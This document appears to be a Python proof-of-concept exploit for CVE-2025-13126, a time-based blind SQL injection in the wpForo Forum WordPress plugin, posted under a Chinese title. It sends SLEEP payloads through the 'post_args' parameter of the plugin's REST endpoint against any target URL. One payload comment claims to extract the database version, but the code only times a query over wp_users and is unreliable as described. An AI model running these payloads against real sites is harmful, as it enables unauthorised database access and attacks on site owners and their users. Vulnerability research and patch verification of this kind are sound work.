CVE-2025-13126 wpForo Forum插件SQL注入漏洞

import requests import sys # CVE-2025-13126 SQL Injection PoC for wpForo Forum < 2.4.13 # Target: WordPress site with wpForo Forum plugin def test_sqli(target_url): """Test for SQL injection vulnerability in wpForo Forum plugin""" # Vulnerable parameters: post_args, topic_args # This PoC demonstrates time-based blind SQL injection headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Normal request (baseline) normal_payload = '1' # Payload with time-based SQL injection (MySQL SLEEP function) # Adjust sleep time based on testing environment sqli_payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))test)-- " print(f'[*] Testing target: {target_url}') print('[*] Sending baseline request...') # Test normal request try: params = {'post_args': normal_payload} resp1 = requests.get(f'{target_url}/wp-json/wpforo/v1/posts', params=params, headers=headers, timeout=10) print(f'[+] Baseline response time: {resp1.elapsed.total_seconds():.2f}s') except Exception as e: print(f'[-] Error in baseline request: {e}') return False print('[*] Sending SQL injection payload...') # Test SQL injection payload try: params = {'post_args': sqli_payload} resp2 = requests.get(f'{target_url}/wp-json/wpforo/v1/posts', params=params, headers=headers, timeout=30) elapsed = resp2.elapsed.total_seconds() print(f'[+] Injection response time: {elapsed:.2f}s') if elapsed >= 5: print('[+] VULNERABLE! Time-based SQL injection confirmed') print('[*] Extracting database version...') # Database version extraction payload version_payload = "1' AND (SELECT * FROM (SELECT SLEEP(3) FROM (SELECT COUNT(*) FROM wp_users)x)a)-- " params = {'post_args': version_payload} resp3 = requests.get(f'{target_url}/wp-json/wpforo/v1/posts', params=params, headers=headers, timeout=20) return True else: print('[-] Target may not be vulnerable') return False except requests.exceptions.Timeout: print('[+] VULNERABLE! Request timed out as expected') return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} https://example.com') sys.exit(1) target = sys.argv[1].rstrip('/') test_sqli(target)